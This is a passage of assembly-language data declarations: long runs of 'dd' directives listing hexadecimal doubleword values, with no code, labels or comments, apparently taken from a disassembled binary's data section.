dd 0B753009Dh, 0A6043DC8h, 31BD1433h, 9AF05DB2h, 68515531h dd 5681345h, 3EF5F10h, 88DA85B9h, 55A6D2E4h, 101391E5h dd 61F60F97h, 0FAA9BE1Ch, 6750CCD7h, 44688F91h, 1699AF2Eh dd 1D480FFDh, 61C0BF51h, 0D2D1FA1h, 75254037h, 405D8212h dd 8318DE78h, 7BE2D3E1h, 4F920E98h, 0FF5A361h, 0DEA749CBh dd 0F7079728h, 0C00548D0h, 0D4391762h, 9FE92773h, 2F0DF1E9h dd 0A18B9624h, 5EA3680Bh, 0AEAAD7C6h, 0FAADBB5Fh, 471E51F5h dd 0FBEAC452h, 4F988617h, 0E9F00B21h, 4B9B8569h, 3A60EFC1h dd 9FC51F8Ch, 0BAC78DA4h, 6AE9594h, 1BBA5EA7h, 468DEF07h dd 0F760064Eh, 1687859Ch, 0ADFA29D8h, 0D7ED8B49h, 900EE510h dd 0CB079B99h, 83534C88h, 0A31374EBh, 8FD4C80Eh, 132F4FE9h dd 933DEB63h, 0AAB0133Ah, 8E832A25h, 37FAC4A5h, 0AB0593BCh dd 202CEF20h, 8397E7BEh, 0D25752B3h, 468B573Ah, 0C09F3916h dd 952765A6h, 412C06E7h, 9BD5558h, 1F131BCh, 102BF880h dd 5ABF1507h, 0CE3D0F99h, 0EFE9EA08h, 0C9697776h, 0CC3A46A5h dd 0EE955944h, 36E9185Ch, 0DCBF7D18h, 75A9190Bh, 0F7A1F501h dd 81FB4DD8h, 685DEB12h, 8C7B2B25h, 7F4022CEh, 51E2955Ch dd 2854CD75h, 0A76254A9h, 7E80EC0h, 0C30B3A2Ch, 0B4CB4305h dd 201698ACh, 0BD0912D6h, 219F4CCFh, 460B02C4h, 0D21ED5DBh dd 59F1BFEh, 0AA804B93h, 55A73B9Dh, 7321F2FBh, 0C280F93Ch dd 7223552Eh, 3775EAECh, 154AE0Dh, 8031CCAh, 0D50BDAE9h dd 0B125746Eh, 3C8159DAh, 0CC207712h, 55BA3A9Ch, 0C9F564B5h dd 5B79E614h, 66D9F602h, 2536150h, 3E4BF67Ah, 4119158h dd 455F4316h, 82DEF656h, 0C55FB410h, 5066B06Ch, 2C4E4EB0h dd 0B6B0C6BCh, 0C639805Eh, 27EE9D87h, 7FE3F68Bh, 0E0C06C0Bh dd 0FA13B151h, 0A2B1A7E9h, 1265CB6Eh, 0F334F22Fh, 453EA901h dd 59201BFCh, 0C23EED26h, 6C966B1h, 0F6B33A5Ch, 0C2CCEC93h dd 77331D68h, 0E909E6C5h, 56F62481h, 5E0362BBh, 575AE67Ch dd 395B7031h, 0E60A17BDh, 2C119A2h, 3E5ACD68h, 24353033h dd 8E95CFDh, 40138470h, 0C75BC400h, 0A031DB47h, 0BE58197h dd 61784CE3h, 5314B8D4h, 102A0482h, 0DB8036FCh, 0F60143DCh dd 10D560F7h, 49B57BE6h, 254122B7h, 17BAFDE7h, 0AEE35600h dd 50485E7Ch, 0C730ED1h, 0A04F4FA2h, 6967E1E7h, 0FA80A049h dd 0F2F373Bh, 0C053E30Ch, 37EF9C00h, 21065D60h, 0F5E913FBh dd 56DFE40Fh, 8D12E6BEh, 0DD09D313h, 4E8B708Fh, 0E1E4BC53h dd 0AD7859E9h, 0E0D0A84Eh, 4A65675Ch, 4034B819h, 200B4EC5h dd 0F6097C55h, 0ADC43011h, 4EC4D97Dh, 0BA166A01h, 0DE466409h dd 8917E3h, 4DA4058Eh, 2D0B27B1h, 87670AECh, 7CAF893h dd 5211503Eh, 8B23BA5Bh, 0E43292C2h, 0DAB22E57h, 26FB406Eh dd 579C76C6h, 0A0AA542Dh, 64C5950Bh, 4F1BF6BFh, 0F75818FAh dd 6809082Ah, 0AC27D9D0h, 208E1F0Ch, 44363505h, 0F1B83BADh dd 0FEB2916h, 1A7D9F45h, 68F50C2Bh, 0B2ECE923h, 11B0992Ah dd 0B54565Eh, 514C6E68h, 0B3358895h, 19AD6416h, 0CB681E74h dd 0E9933051h, 24D65D29h, 0A893CFADh, 0A868161Ch, 120963FBh dd 9E52F49h, 0D719B668h, 997BF16h, 2EF04CBh, 5A4720AFh dd 3C963CE9h, 3389F32Dh, 66132D4h, 0D261E90Dh, 82B5367Eh dd 8469D99Eh, 0BF129BB4h, 27A00C10h, 0C96EFE5Dh, 3A8C82E2h dd 0B30F53B5h, 690BB677h, 0B42360CAh, 0E1283CA6h, 0E967E796h dd 3B929E0Dh, 0D0BCB185h, 2738AA8Eh, 0E69744C1h, 2BFE4575h dd 828B02E0h, 4E3B9655h, 0B77B6EDh, 0C8AF09E9h, 30647251h dd 8F0C48DDh, 2E09531Bh, 4AE2C142h, 72E560E6h, 33879728h dd 8BD8195Ah, 8B09D895h, 97BC13F5h, 4912D0B7h, 0B79044EDh dd 0D212FDEFh, 4F631D40h, 2C3A5C32h, 0BD4180C3h, 3ED36DBEh dd 80AAD129h, 0AB14EAC4h, 0A0CE7BA4h, 975E6EFCh, 0B78B1651h dd 69F9F15Ch, 7B877600h, 9B51E08h, 13317597h, 1F12EFF5h dd 68E8E901h, 6E7D51A2h, 0FA25BADAh, 620483F6h, 0B0A5D6Ch dd 0C1BF0594h, 6D7B26h, 2DF4CDBAh, 0C0C0DBA1h, 4994FB40h dd 245BA662h, 85870404h, 70999DFEh, 26FE6834h, 4994D3B7h dd 12D8CC04h, 0E2031FBCh, 62536919h, 0F1C21102h, 0F6473B72h dd 2D2241Bh, 1F3F53F8h, 0D561C662h, 9F56A28h, 2027D97Eh dd 31480E9Ah, 0A7813CDh, 9CA671CDh, 9EA80B44h, 76581431h dd 95BD02E8h, 416BC22Ah, 0D819144h, 2E9E801h, 25247983h dd 58E7609Dh, 22D2952Dh, 42E9594Bh, 0F4772712h, 0CA40DBF1h dd 308801B7h, 0B65259CFh, 60F7C1C3h, 11FFF898h, 5600627Bh dd 350F5768h, 855E0E74h, 0BE56D917h, 13BB5A09h, 3ED88CC3h dd 45EC09B9h, 2D002E42h, 1204F5Bh, 9775F1ECh, 1811DD30h dd 0E8404A34h, 220C092Dh, 1478282Eh, 24590781h, 31267F82h dd 0BC1AB242h, 0B5B6D80Dh, 98A44AE7h, 9B5A9162h, 6EBCACB0h dd 195E54E1h, 12983F30h, 2DA137h, 7C4AA2E1h, 561D4238h dd 0DB3AFABEh, 0F602D3BDh, 7ADB2277h, 998463F7h, 0DEF905EEh dd 5ACDF23Bh, 66B281BCh, 3F8EC857h, 0B1539D5Ah, 2C89F82Dh dd 0D2DED3F6h, 0E7C734B2h, 31FE1208h, 7CA66648h, 3CA993F3h dd 3B19BF10h, 6E4A10ACh, 89F33112h, 3EB3357Dh, 0BCE84091h dd 0E2F1AD03h, 2A4365A4h, 7AA05180h, 5E412C9Ah, 0B850018Fh dd 0C3CB354Ch, 1AA51E5Fh, 3ABD0C8Fh, 18DE77ECh, 92D1D3BFh dd 0E97F615Ch, 451F7C48h, 56CA7B89h, 5F10FA91h, 541588Dh dd 71F721D0h, 1B43EF00h, 0F90109AEh, 0D0081CA0h, 0FF34141Ch dd 5A6A8BFEh, 0AAF4F6EDh, 40C1F8D8h, 63BC5A99h, 1206666Ah dd 1CCA05Eh, 0EF755DE9h, 0A7D9292Eh, 56A8E1ECh, 84F4E039h dd 0E25175E2h, 8E2A10DAh, 0CA80A159h, 53683281h, 0B202C24h dd 7BDE308h, 3F9FF380h, 390F8609h, 16FBC306h, 4DA8624Fh dd 0FAED2F7Eh, 542BCADCh, 6656804h, 0B63571FEh, 0BA316B49h dd 0C104D9AEh, 6DB479C7h, 64BD0BD0h, 3F007F90h, 0D421B29h dd 59B6015Eh, 7B71B15Bh, 0B48937B4h, 1ECE1D23h, 9F4467B6h dd 50C454F7h, 79821DFh, 355A4868h, 3D2843F5h, 0B150F85Fh dd 680077B0h, 679B171Ch, 0EB708B02h, 9B616051h, 1FC1055Dh dd 90F372E9h, 604C5ADAh, 925F09Fh, 6C636F7Dh, 4E12B7D4h dd 0A7DE3000h, 0EF566B1Bh, 7FCDAA82h, 425D0CC4h, 5E07000Eh dd 0A4011168h, 36540F3Dh, 0CF653761h, 978BBA8Bh, 9B6DD155h dd 4B87E10h, 4E206859h, 5E1882B3h, 4018E15Bh, 5A4AE6B7h dd 3AFC4C35h, 87B04A59h, 124ECB01h, 3EAC127h, 0E907C8CFh dd 0E4DC5F68h, 4C160865h, 0CBECD26Bh, 565F94Ah, 60702FD4h dd 209B3A87h, 484BBA0Dh, 0C282A026h, 2D061336h, 3D5AE07Dh dd 80806AB5h, 0DDB64D0Eh, 0FB8925B0h, 0F749F479h, 0D4C07C8Bh dd 9195C589h, 3F2C1173h, 5FF83101h, 68407568h, 9C42DE93h dd 544E7A16h, 3E8E0136h, 7A897737h, 90E9ACE4h, 7444D72Ah dd 0EC198092h, 544F4A51h, 82A0B87h, 98014927h, 0C1BA8181h dd 8D3D7E7Dh, 55EF96DFh, 0B6CCD041h, 1B32BF00h, 0B11E2135h dd 3313FD01h, 0B13F40E6h, 454430BDh, 54097005h, 15E035E9h dd 9B3A355h, 865B2BD2h dd 0F5501F50h, 8F265507h, 32AC1102h, 0C1481711h, 79DACB03h dd 0F3B01005h, 24D71E4Fh, 5554F8A8h, 0AD7C16A0h, 0FA61127Bh dd 24179008h, 0D1800B9h, 0FA291BE7h, 807E2A2h, 0D069A5E9h dd 78C40547h, 0BD3AB83Ah, 2F929352h, 7A410FAh, 11A275h dd 0A144CBF6h, 9E70956Eh, 0B7C85820h, 0B1F044F8h, 0E1A2564Eh dd 2FFBCA4Fh, 20F4655Dh, 3E4EF6A4h, 0CE024627h, 509053CBh dd 0EE6D8C8h, 44916614h, 5E2C05E9h, 0B0C54CCDh, 63E993D0h dd 664AC507h, 0CEC1BE5Ah, 17DF38F0h, 0B014B775h, 0A24020F5h dd 7874C958h, 0CE100507h, 119D9ECh, 83C66F9Eh, 5224B4A8h dd 22F27440h, 0FC6E5A25h, 31F58187h, 3FDBE6AAh, 0DDBC8217h dd 0A61FA024h, 2D7D6E7Bh, 555A4A56h, 6817B852h, 0BABC0992h dd 0A7AC05CAh, 0FC5A137Eh, 25E950BCh, 530C16Bh, 39C5504h dd 0D8025A58h, 0E91356C4h, 2EC0D0Bh, 0A4453CFh, 0BCC240DAh dd 980FA12Eh, 0C1B0133h, 15E93379h, 0C5ED28A0h, 4F475A6h dd 8C68133Ch, 0FF60EF45h, 41791CF0h, 5EB80C31h, 0E56DC1DEh dd 0F5193D9h, 692465F1h, 1D74A859h, 5517D187h, 16BBF9C4h dd 0D013B954h, 0AAE9E397h, 9EB0E6DEh, 0E9525060h, 247A1F30h dd 51964Eh, 0CB48C0B9h, 2BC1811Bh, 24D43A16h, 0FA58F4A4h dd 0B14E5E89h, 442E83D4h, 0F81AF910h, 321615E1h, 0D12A6372h dd 7008B161h, 530C4727h, 0C8F75D83h, 0C0BFA8A1h, 5F037FEFh dd 655D1340h, 2AA72D8Bh, 0D36057DDh, 71EEB7B8h, 0E754E720h dd 9570C8D8h, 0A900D129h, 2A5E29B6h, 0F4900CC3h, 0B8C2B535h dd 0FA305F5Dh, 0F582FF4Ch, 0E02D0E05h, 801EB517h, 284BEB88h dd 95B07760h, 5991C470h, 0E9A5F343h, 362F7BF8h, 63B0180Ch dd 8B803C5Ah, 5B4FE950h, 2C7D2888h, 28A8C783h, 29AC0EC2h dd 7D206805h, 5B664557h, 0D2DB0BBFh, 0FE7CEC69h, 0E1205A3Fh dd 17BC32D0h, 0A9F9E544h, 0B09389C8h, 0CEC5A220h, 0CDEF2F82h dd 0D6ACF854h, 5CDE5CAFh, 29BD2A54h, 4930CF77h, 0F1C53DD1h dd 43B5262Bh, 0F3F08544h, 94AB8277h, 0E491B5Ch, 0F40809B7h dd 23050E2h, 42F76FC9h, 79C8DFC5h, 0F50B6FB2h, 0FFCEE97Dh dd 0AA063D9Ah, 5809377Ah, 0D641F680h, 0E8CC635Bh, 2BEA9D2Fh dd 202E0BC7h, 685657B0h, 5D791F1Ah, 126B094Eh, 96614974h dd 0EFEB2957h, 9DFA7049h, 0B90D04E7h, 0A63EC510h, 0C46627CEh dd 0C9D89569h, 808FC16Eh, 9AE7D633h, 56C5BD21h, 9CDB098Ah dd 653E422Dh, 128A42Eh, 7015F3BBh, 48433814h, 60E80027h dd 7DE91D4Bh, 7512B565h, 3F6A3AC0h, 837599B5h, 9375E910h dd 654B6C9Eh, 595B2D63h, 8A7243h, 52CBFE3Ah, 0E2C0E4B2h dd 0CA80030Ch, 0EC060C01h, 2DE879C2h, 9ED86BF2h, 7F31CBFEh dd 0CF47E4F6h, 4E05BB04h, 0FFB86668h, 0D4D2A94Fh, 48310F29h dd 40EA77C2h, 36966F12h, 0F54001AFh, 6C490FC5h, 0FD2B694Eh dd 3008A608h, 0B21A00Ch, 0FD99744Ah, 496A528h, 1911A633h dd 0A02B68B4h, 0D7023497h, 0FE14B151h, 53235DC1h, 0CB82D2F1h dd 0B849D55h, 0D75021E9h, 16AF5199h, 0ABE927A4h, 65F7C862h dd 80A0E9F4h, 28E476EBh, 0AE7EE919h, 1C57B940h, 0A45FF6FBh dd 6BD22FADh, 0C588E912h, 2683C4E5h, 0DCB3FD1h, 0CD84E2FFh dd 3FF8F449h, 1378E5F0h, 0EED88F7Ch, 3CB92517h, 0E55BD918h dd 2395205Ch, 4B52172Ch, 805974EEh, 0A2401400h, 124F602Fh dd 4CB207FDh, 0D4D7B532h, 0C5800783h, 0C7CD3360h, 52661302h dd 0D53032B6h, 0EA88A0C0h, 0CA735977h, 0D001DAA0h, 92F0E275h dd 961AE912h, 8AF631AFh, 5A353B7Bh, 0B8BE01Ch, 5991CAACh dd 58B9E9BCh, 5F1B40C5h, 0E912E821h, 31AB8414h, 79AC181h dd 725194D2h, 599F09A8h, 10774B36h, 1DF702FCh, 19FB87DBh dd 0C74308D7h, 3AD31440h, 31DEBB12h, 0B28CFBE0h, 6CCD80F0h dd 20459F8Fh, 360BAD20h, 316D13Ch, 8A2E6974h, 0A9166029h dd 4A182F08h, 551370F6h, 0CD1BC340h, 0E5FAE92Dh, 59014D32h dd 1DCB970h, 34500BCEh, 25D89A5Dh, 0A0D6AFA6h, 0F5BC0C52h dd 9AE50581h, 0C130CF10h, 9354D2C6h, 0FB31EF19h, 16989253h dd 0D96C1847h, 5801C727h, 0B29B0C9h, 556F5211h, 5B14DD82h dd 662A385Fh, 0FFC89FD3h, 5D8250DDh, 6807AD80h, 0C13B2B62h dd 2FF048EFh, 0C5CD09A1h, 1396BFDCh, 0F8E149C2h, 128B4C04h dd 0A47A27BAh, 4CC1B8E6h, 0BBC15E51h, 4959FCA6h, 0FD9D8815h dd 4D4AC800h, 817C070Dh, 277397C2h, 26CA6017h, 38FFF80Ah dd 0F2057F6Fh, 43725484h, 0CDDCDD00h, 0B531580Dh, 0E90B13DBh dd 357B60EEh, 0F8112F4h, 1380996h, 0FDBB94D4h, 0F1F18C64h dd 370B22FFh, 762D40D6h, 1A577AA9h, 0B5A85876h, 6884CF51h dd 0E2EC4E45h, 575DB2C1h, 3B172B0Dh, 23D441BFh, 3E134842h dd 1F07E712h, 60426AFh, 210032BDh, 0E99361B9h, 0A3AA9C6Ah dd 4FFA9460h, 0F49A2ABCh, 19F8400Dh, 16EB274Dh, 0E8027262h dd 0C00F7891h, 0C0C4FEDCh, 0A0867E4h, 0AB457480h, 0EC301CC0h dd 0D08B2DE9h, 1DB080C4h, 0E6512625h, 0D0FBB562h, 0FCA3E9C2h dd 0A8491471h, 27DB1C04h, 5C4EF34h, 82B0B2AAh, 0A0CBADE9h dd 880514D1h, 0C2892722h, 0BB8A1590h, 53F0C082h, 95DF73B7h dd 0CC3C887Ch, 0F26A20A2h, 0ADC6BF8Bh, 94ED9B7h, 9A5FE3E5h dd 0C9D2D35Ch, 905696F7h, 688B9D57h, 0B6D4B6DDh, 7A9521Eh dd 0E05FF8EAh, 80D7303Eh, 1577C8BFh, 22D3D7Ah, 249F4411h dd 583EF2F8h, 1D05CEEBh, 0C2E9168Ch, 0B1579393h, 0E824E036h dd 0E85F05B9h, 6055C8F2h, 9CBEE983h, 0E0C9459Ch, 80610F33h dd 0B9045155h, 20DC3C68h, 85CC4BFh, 3112DD9Ch, 90EA65EAh dd 3AB1E62Eh, 0E92AE009h, 722D2A9h, 0D4739EE3h, 0FD39B247h dd 65EFBDF4h, 98AE0DDCh, 941BB89h, 0EC2A14E1h, 46E9F061h dd 49A2B7E8h, 0FCC0D14Eh, 0D81731F6h, 4F84F5C4h, 93DFF4AEh dd 62E71400h, 534CE181h, 0ED757FB3h, 1D1C093h, 0ADCB579Bh dd 0DC4F21F8h, 5197C3A5h, 9A84081Eh, 6614C117h, 35BE0366h dd 123127F0h, 0FAD4C82Eh, 22D6DA29h, 90FE4E2Bh, 3080F384h dd 12D92105h, 9E95BDC6h, 0A5C04853h, 980CCFEh, 0E32839F4h dd 99597E02h, 505B5A21h, 0E2EED60h, 0C6FED6F6h, 0EED0DE83h dd 80103Ah, 5AF0880Bh, 0FB0C2004h, 25E9D8F0h, 2E72A0AAh dd 5EC21B59h, 0BF1048A6h, 4C04C79h, 2606189Dh, 0D90355FDh dd 294C0D1Bh, 4452AF7Ch, 425E270Ch, 7E1C092Ah, 7C647A02h dd 0D403FB2Dh, 0FE4629Eh, 0CB08E50Ah, 8B0912D5h, 0EB024AF8h dd 5C7AE943h, 0FC880EBFh, 971066E9h, 157812C7h, 0BB4C3864h dd 3F76BD0Bh, 71AA3197h, 244D58D7h, 0C290F7EAh, 0D92D0794h dd 2CC649B0h, 0AA5EE915h, 69543D97h, 45197114h, 0D26DFC50h dd 5DDF720Ch, 9C5B97E7h, 42EFEF13h, 0A75CE997h, 0F1733DFEh dd 0E7B46DBDh, 9693FEC2h, 0A5902E59h, 825669D9h, 8156D76Fh dd 28E8EF13h, 5E00DE8Bh, 43307A82h, 2C41B6DEh, 0FE011B11h dd 842EEE1h, 3C9A7C5Fh, 0C37DD2B2h, 507B6855h, 486300B8h dd 0A20D7382h, 2818FB4Eh, 0E904D0F7h, 0A3615AFDh, 1D8D9FD3h dd 9461B3BCh, 96A843E0h, 0C3808791h, 0ABF334E6h, 4AF0782h dd 16D6A846h, 0BC06CE81h, 4BA77DAh, 0F6F7FD3Ah, 0B421EB2Dh dd 9A22D940h, 0FAF0412h, 0FC85DDFDh, 535DBF74h, 828532DAh dd 0B5D94B3h, 8303255Ch, 8C4E01EEh, 0C0051BADh, 82D77E87h dd 9C5DAC90h, 6044FCF5h dd 83AD1C91h, 0C0A0207Fh, 5E81F357h, 6D901F2Bh, 11AA05Ch dd 9EEAF66Ah, 0C157F17Ah, 744170ACh, 6795598h, 0B1A20FEh dd 0F126D5Bh, 4B35A281h, 31B1C80Fh, 0F9B00B67h, 0CF0BC829h dd 765280DEh, 5F688013h, 59617B22h, 50C98198h, 5708707h dd 281D923h, 79A6CE85h, 64075ECh, 202D5133h, 0B1BD612Fh dd 0B02B9D70h, 29C64088h, 0E25FFA25h, 5687F98h, 405130Bh dd 0B056E97Eh, 70AC2194h, 37FF610h, 2F05C0B9h, 85CFD16Fh dd 5F6E542Fh, 4B14083Eh, 2C0FBD67h, 7C399E5Ah, 2485ED7Ah dd 3D06573Dh, 0C62122FDh, 0E7835558h, 97F22320h, 0ED0E40FAh dd 47CD8102h, 0DCEEF527h, 0A86519C3h, 0C7FFE714h, 7C69F97Bh dd 0EB5B1744h, 0D88FD146h, 0DCFE6493h, 51F492F1h, 598C3E1h dd 23A0C7FBh, 0D7A858E1h, 0C900FE5Ah, 0EF80CF86h, 0B8F82815h dd 46B32458h, 6691026Ah, 8B83D168h, 6132ACDBh, 75960EF0h dd 0C176245h, 5DBD6C80h, 40C52529h, 0B00BBFE2h, 0CB8C90DFh dd 693C182Fh, 0BE2B182Ch, 15E3EECh, 0B49382BDh, 8192D7C2h dd 0D9B79B9Fh, 17988AE0h, 0C3BEFEF1h, 88C1408Ah, 0B4EBE4C5h dd 687888EEh, 7FD58252h, 4CDBD1B4h, 0AB58CA79h, 20068130h dd 0F07B7D18h, 95146B1Dh, 4AC0210Fh, 0EB02CAC5h, 0E01E5C38h dd 0B4837CDDh, 4E2A8AD5h, 84F120FCh, 4FE577A0h, 0AFCD1641h dd 73833874h, 85FEBB10h, 7A65DD05h, 0B9A0A1FCh, 412543CCh dd 845D66Ah, 0A8200659h, 4ABD8DBEh, 0B3F4BBAh, 8634AAF7h dd 65BBDE13h, 6860BF53h, 2FE33F69h, 2A705B59h, 0C735820Bh dd 0F70B8052h, 7584729Eh, 9BF29F14h, 50429112h, 0F5E1EBD0h dd 749F3F1Eh, 578AC982h, 0DB4201A8h, 0A027DDEh, 402D8D62h dd 2730BB88h, 9E581D6Fh, 3C26A47Bh, 540C704h, 16BB4054h dd 87BAE97Dh, 67DD0598h, 0E076D285h, 4014947Dh, 0D297DDEDh dd 0A3F9449h, 52A649BBh, 2533ECFDh, 0F2105DEFh, 53809CEDh dd 68550057h, 202D3458h, 0B1B5895Dh, 162B579Eh, 0F344AA4Bh dd 6FE8B9E9h, 0DDF74D09h, 4BD3C055h, 4D137F9Bh, 681EF761h dd 2833095Ch, 47E16DDh, 1D724DE3h, 7720EA0Dh, 28BD9788h dd 2FFC89ABh, 27965545h, 0A9F95E5Ah, 850FC083h, 1FFFFC95h dd 228B95BAh, 0E8055510h, 45C7004Ah, 483F6152h, 6AE28AA0h dd 7C441A2Ch, 0B2FD413Fh, 0C797C1F3h, 3F908206h, 0C859CD27h dd 82F5C85Dh, 0F10135F0h, 18801068h, 0A06CCA01h, 572BE9C5h dd 9D2B8BBh, 0C815620Eh, 13D7C293h, 0B9118EE6h, 0DDCB2A37h dd 4D6CB907h, 0CED55525h, 4304C2E8h, 0E734705h, 4EBC95E9h dd 0AAE431ECh, 0B90DBBE7h, 819C7B1Fh, 0DA10D9B0h, 8240414Dh dd 0C1E65125h, 64DBED92h, 8677E257h, 0B1445F2h, 0C9D78302h dd 0F9E53FD0h, 0DC5428ECh, 0D2826DAEh, 407BDC5Ah, 80FF9BE8h dd 6E13A6BDh, 0F95F29B0h, 334FD656h, 74D84B66h, 16DE08BDh dd 4913CB00h, 0A85BE3E9h, 0F25568C6h, 440B4F8Ch, 18634D1Ah dd 4FC17F9Ah, 4ACAA674h, 5C01EBDBh, 0F1E9C209h, 0E4E66B7Eh dd 0E13D5426h, 3EAEFBE9h, 0BD642935h, 7B5B98EAh, 28CB0916h dd 700C2A1h, 4B0D685Fh, 0D642CC3Bh, 78C93912h, 0ECF325FEh dd 0D14A7296h, 6CBFB517h, 864ADD83h, 49D049ABh, 908D378Ch dd 25300217h, 212E78ACh, 0CA772437h, 576C3A7Ch, 29B7853Ch dd 2B86223Dh, 0E5CDFF5Fh, 2595A12Ch, 559029Ah, 60156706h dd 80C5FDF7h, 5B0FFE88h, 65536650h, 0F988B9E1h, 41774FE6h dd 9748ABE1h, 0AD8D7F74h, 0AC7FC520h, 7B026B93h, 22BF74D0h dd 1558E06h, 6B433668h, 0E917328Ah, 6ED1F15Ah, 0FF7D9AA7h dd 1498B32Eh, 95FFE34Ah, 4F90132Ah, 8F4266A7h, 58565E0Eh dd 154C6862h, 1A811BD1h, 520FB037h, 4ACD7C90h, 0F66FD1B1h dd 47FD4FAAh, 184B52C4h, 9701CE38h, 69E62818h, 1491EA88h dd 0B326975Bh, 4E786ED5h, 0A580164Fh, 70AD40D4h, 524F5E01h dd 46D1ADB9h, 46A5B1h, 0B57BE268h, 3D00A846h, 9051E79h dd 692AE9D0h, 20DB28B1h, 0BB535680h, 2834584h, 0BA80BE58h dd 0A250A77Ch, 0CF13A0D6h, 0F72721E3h, 6482A1FEh, 0E2019A65h dd 97EA45E4h, 0ACD817E9h, 0FE56E2A3h, 37FC082h, 35041DF3h dd 1ABB09D8h, 4BC3F2ABh, 544C8981h, 10D56602h, 0BD462607h dd 0AC276C46h, 60881203h, 26439A4Dh, 2946FB7h, 65F74E45h dd 0C70BFFD2h, 0A9A2AB23h, 256E76FEh, 0EE6E3855h, 0FDC388B3h dd 7BEB6838h, 6C04D15Bh, 0C7AA16B6h, 8A95A287h, 0D2905B7Bh dd 245D084h, 0D562C480h, 0C8283983h, 0E459BD2Ch, 0EF97FE16h dd 7F5E9270h, 0E80CC740h, 0B342973Ch, 0E23D0779h, 0C6DC9757h dd 497D70CBh, 23484329h, 5301C01Eh, 5033808Ch, 801C2CB4h dd 0ECC088F4h, 0E9E62045h, 0D3F14F9Eh, 0E7DC7B94h, 0C055242Fh dd 0B873362h, 1F265C59h, 98285005h, 1FCE31C0h, 0EC059077h dd 689212E6h, 639C118h, 86B02B1Bh, 0C03BDA2h, 0CFB9D2B2h dd 15D53B67h, 920416ACh, 0C1119A64h, 0A59D6141h, 0EB998471h dd 0D8A681B8h, 0B3539401h, 13C3801Dh, 78DB23Bh, 5B0EBA66h dd 0C0DAF742h, 5858C254h, 0DC4C615Fh, 0C401527Ch, 6CD4E909h dd 0AFDD8B4Ah, 4CE26429h, 0BFA2CCBEh, 0D69C20Fh, 0A11CCD15h dd 3D293120h, 6181EB9h, 70A0157Bh, 2DB397h, 0CE1DD55Ah dd 0F3AAE956h, 44BFA983h, 61E89374h, 2C0D645Dh, 0C7FA6096h dd 63322F16h, 0E175E209h, 4088B7CAh, 0BD0153BAh, 3A911F8Ch dd 57D41F2Eh, 0E7356E4h, 1F13055Eh, 0C07A6CCh, 8575BC56h dd 9CCBF88h, 571F5547h, 402D2D4h, 0FD010D9Dh, 5216396Bh dd 79174F7h, 10A44767h, 42A30006h, 32E90B1Ah, 32ACDC5Ah dd 2C3D5C4h, 666D8068h, 20D19895h, 2D077FC1h, 35580E27h dd 0B325FC50h, 0F4295870h, 5E892427h, 586BD471h, 373B1D6Bh dd 1D5F13F0h, 0D8274464h, 0CC13FA39h, 0A6656F8h, 4409D443h dd 5862ECB5h, 5A88951Bh, 7D7E2D8Eh, 0A66AE989h, 0A05ED3CCh dd 9443F5DBh, 2045A615h, 8848209Ah, 937C20E9h, 14405717h dd 12A1E300h, 2FE90AFEh, 0FC6DD10h, 0BCAEB13Dh, 0C95283h dd 208B2D12h, 1269F281h, 5D1D3Dh, 516BDD4Dh, 12FE94Ah dd 0BA189071h, 0CE721867h, 0A743266Dh, 0E912D1FEh, 0CABA541Fh dd 0DBB9C420h, 0F1D359ECh, 0BEB26BE6h, 1F9AA85h, 6A15D653h dd 0C6603030h, 0C2FE93BFh, 40BB5E9Ch, 28D284B4h, 6A622D04h dd 6282261Fh, 84078B05h, 5A03533Bh, 5EC3AF2Ch, 2532BEFDh dd 272C164h, 9F433BF4h, 9B097D45h, 0EF65574Ah, 44E441E5h dd 7F6C1736h, 61AB17CEh, 3F6560EEh, 7C10DD90h, 0F83976A4h dd 0FA835434h, 558FA0D1h, 327A165Ch, 3C21EA31h, 8E2F0A15h dd 2DD84DEFh, 0D56AC085h, 209BAC42h, 0F63F5B6Ah, 0B90CB4DFh dd 21EE7984h, 23C852F9h, 0D821137Bh, 3E89808h, 58FB866h dd 7845F8A5h, 3A7FE1EDh, 972BEF05h, 588107ACh, 0DD53202Dh dd 0B163E8Ch, 0DD44450Bh, 0B7C2DE3Ah, 5E44ABF7h, 0F6AF1517h dd 0A8853358h, 0BECFAE8Ch, 0A97C4516h, 2CAAD30Fh, 7BE1E972h dd 7CF6A240h, 371DB0Eh, 1C7B951h, 885B175Ch, 90C9AFC8h dd 244C29ABh, 7E2E02E5h, 0DB5A5ABFh, 0FF92F80Fh, 0C643A563h dd 0C0CF56A8h, 2D544860h, 0C202500Fh, 147C050Eh, 7ADAE03Ah dd 3F199D1h, 7228079Bh, 0AE0EDCAh, 13304CC3h, 56C8BE19h dd 0E9201368h, 0BAB180E7h, 862D3B59h, 0E6BDD263h, 0A61C1838h dd 7550C4Eh, 0FE85D225h dd 0C50E403Ch, 89186BCCh, 0A3C65EF1h, 74C23452h, 150AC10Ch dd 282FED49h, 9ADC4E40h, 68511356h, 52750258h, 87A04959h dd 0C497ACF1h, 55CDAD48h, 9FCE3E32h, 8041E90Bh, 3A3F5011h dd 0C976E8CCh, 32565C69h, 0FDB39EC2h, 9A023F92h, 667D061Bh dd 0B2C82D65h, 5C6BCFD6h, 0B3804902h, 793868E1h, 0B1044FC4h dd 899F04A3h, 7C849CAh, 72F006D1h, 0C4F38F9Fh, 72EF600Dh dd 427D0164h, 5A307C02h, 0E6A7045Dh, 0E94A81BEh, 11126AACh dd 13618BBAh, 2BFBF9F7h, 4AF8486Ch, 0F36B4C39h, 0A1A45EB9h dd 0B805F9BCh, 6A68834Eh, 6CEF1063h, 6B414C56h, 17037976h dd 0EA7E85D2h, 5C09F19Eh, 0C902C138h, 7EF26E39h, 0AF34836Ch dd 91304E5Ch, 5409780h, 0EF2F12EFh, 70712E01h, 6E9386h dd 527B051Bh, 0D4EA0DA0h, 35324E1Eh, 88625BE6h, 0BF9A5FD3h dd 0E3B42140h, 5C0290B9h, 0C05FD35Dh, 27520102h, 5154461Ah dd 76B7C169h, 0AE22102Eh, 0D3780BE2h, 0D449E893h, 0F9545A9Fh dd 0F00879A4h, 602D1444h, 6B041751h, 7E877300h, 0BD2D6D78h dd 1AD309DAh, 0E2C47DA2h, 0C6B8018Dh, 0A230CA6Fh, 0C05A1D9Bh dd 0B295320h, 1A5738FCh, 0F627A2BDh, 0BD8AC1E1h, 2B289D3Eh dd 0A45A2AF9h, 79954C63h, 3EC7ACF7h, 0DC17E941h, 0ACB1B9FAh dd 0B54D8903h, 540C3C4Ah, 0ACB89796h, 0E7D1049Fh, 0F3BE0B68h dd 3B400036h, 0C9E9F7E5h, 0A7F896CCh, 0EAC76E5Ch, 0B5D0D7F4h dd 9B6C3168h, 0B05A1209h, 16BD5D62h, 